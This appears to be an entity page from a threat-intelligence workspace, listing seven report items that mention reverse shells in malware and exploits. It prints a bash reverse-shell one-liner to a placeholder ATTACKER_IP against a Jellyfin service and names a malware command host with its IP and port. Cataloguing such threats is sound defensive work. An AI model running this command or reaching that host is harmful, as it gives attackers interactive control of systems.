Reverse shell
Named by 7 kept items in this workspace.
5 items name it under techniques and 2 under classification.key entities.
Search every workspace for Reverse shell. It matches the name as written, so it can find other things that share it.
The items that name it 7
Some versions give the attacker direct access to the infected server
One variant of the Ghost Dev gem payload opens a reverse shell for remote attacker control.
PoC includes reverse shell support for post-exploitation access
First malware version connects to 45.138.12.177:8090, attaches connection to /bin/sh for interactive remote shell, retries every 30 seconds
Payload runs bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' to give the attacker an interactive shell as the jellyfin service user
All techniques in this workspace.